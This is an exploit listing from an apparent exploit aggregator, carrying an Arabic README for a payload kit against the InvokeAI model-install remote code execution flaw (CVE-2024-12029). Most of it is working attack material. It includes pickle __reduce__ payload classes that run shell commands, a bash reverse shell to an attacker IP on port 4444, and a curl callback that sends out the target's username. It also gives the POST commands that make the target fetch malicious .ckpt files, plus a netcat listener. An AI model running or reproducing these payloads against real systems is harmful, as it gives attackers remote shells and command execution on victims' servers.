Sploitus

Exploit for Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

kitploit · 2026-08-29

Exploit Code

MARKDOWN175 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LU3KY13-ALTERNATIVE-APPROACH-REVERSE-SHELL-CALLBACK-TEST-INVOKEAI-RCE
# بديل-نهج-شل-عكسي-اختبار-رد-اتصال-InvokeAI-RCE

# النهج البديل: الشل العكسي واختبار رد الاتصال

## نظرة عامة

يحتوي هذا المستودع على نهج حمولات بديلة لثغرة InvokeAI RCE (CVE-2024-12029) عندما تفشل آلية حقن مفتاح SSH. تم تصميم الحمولات لاختبار ما إذا كان إلغاء تسلسل pickle يحدث بالفعل وتوفير طرق وصول بديلة.

## بيان المشكلة

عندما يتم تسليم حمولات حقن مفتاح SSH بنجاح (الحالة 201) ولكن الوصول عبر SSH لا يزال يتطلب كلمة مرور، يشير ذلك إلى واحد مما يلي:

  1. إلغاء تسلسل pickle لا يحدث
  2. يتم حظر/عزل الأوامر
  3. طريقة التنفيذ غير متوافقة



## الحل: الحمولات البديلة

### 📁 ملفات الحمولة

#### **حمولات الشل العكسي**

  * `payload_reverse_bash.ckpt` (89 بايت) - شل عكسي Bash
  * `payload_reverse_python.ckpt` (267 بايت) - شل عكسي Python
  * `payload_reverse_nc.ckpt` (70 بايت) - شل عكسي Netcat



#### **حمولات الاختبار والتحقق**

  * `payload_callback_test.ckpt` (115 بايت) - رد اتصال HTTP للتحقق من إلغاء التسلسل
  * `payload_test.ckpt` (90 بايت) - اختبار إنشاء ملف بسيط
  * `payload_alt_exec.ckpt` (223 بايت) - طريقة تنفيذ بديلة



#### **حمولات SSH (للإشارة)**

  * `payload_ssh_simple.ckpt` (271 بايت) - حقن مفتاح SSH متوافق مع Linux



### 🛠️ نصوص الاختبار

#### **نصوص اختبار Kali**

  * `kali_reverse_test.py` \- مجموعة اختبار شاملة



#### **مولدات الحمولة**

  * `reverse_shell_payload.py` \- توليد حمولات الشل العكسي



## 🚀 الاستخدام السريع

### 1\. تشغيل خادم الحمولة

root@kitploit:~
    
    
    python web_server.py --port 8000
    

### 2\. اختبار رد الاتصال (موصى به أولاً)

root@kitploit:~
    
    
    # Copy kali_reverse_test.py to Kali and run:
    python3 kali_reverse_test.py
    # Choose option 1 to test callback
    

### 3\. اختبار الشل العكسي

root@kitploit:~
    
    
    # Start listener on Kali:
    nc -lvnp 4444
    
    # Send reverse shell payload:
    python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
    

### 4\. اختبار التنفيذ البسيط

root@kitploit:~
    
    
    # Test basic command execution:
    python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
    
    # Verify file creation:
    ssh some-email@example.com 'cat /tmp/payload_test.txt'
    

## 📊 تفسير نتائج الاختبار

### ✅ **نجاح اختبار رد الاتصال**

  * **المعنى** : إلغاء تسلسل pickle يعمل
  * **الخطوة التالية** : جرب الشل العكسي أو حمولات SSH البديلة
  * **التحقق** : سجلات خادم الويب لرد اتصال HTTP



### ✅ **نجاح الشل العكسي**

  * **المعنى** : يتم تنفيذ الأوامر ويعمل الوصول إلى الشبكة
  * **النتيجة** : وصول مباشر للشل عبر مستمع netcat
  * **الخطوة التالية** : استخدم الشل العكسي لمزيد من الاستغلال



### ✅ **تم إنشاء ملف الاختبار**

  * **المعنى** : يعمل تنفيذ الأوامر الأساسية
  * **الخطوة التالية** : جرب طرق حقن SSH بديلة
  * **التحقق** : `/tmp/payload_test.txt` على الهدف



### **حمولة رد الاتصال**

root@kitploit:~
    
    
    class CallbackTestPayload:
        def __reduce__(self):
            import os
            command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
            return (os.system, (command,))
    

### **حمولة الشل العكسي**

root@kitploit:~
    
    
    class ReverseShellPayload:
        def __reduce__(self):
            import os
            command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
            return (os.system, (command,))
    

### **حمولة الاختبار**

root@kitploit:~
    
    
    class TestPayload:
        def __reduce__(self):
            import os
            return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
    

## 📚 المراجع

  * **CVE-2024-12029** : تنفيذ الأوامر عن بُعد في InvokeAI
  * **إلغاء التسلسل غير الآمن في PyTorch** : ثغرة `torch.load()`
  * **Pickle**reduce**** : استغلال تسلسل كائنات Python



## ⚠️ إخلاء مسؤولية

هذا المستودع مخصص لأغراض الاختبارات الأمنية التعليمية والمرخصة فقط. المستخدمون مسؤولون عن ضمان حصولهم على الترخيص المناسب قبل اختبار أي أنظمة.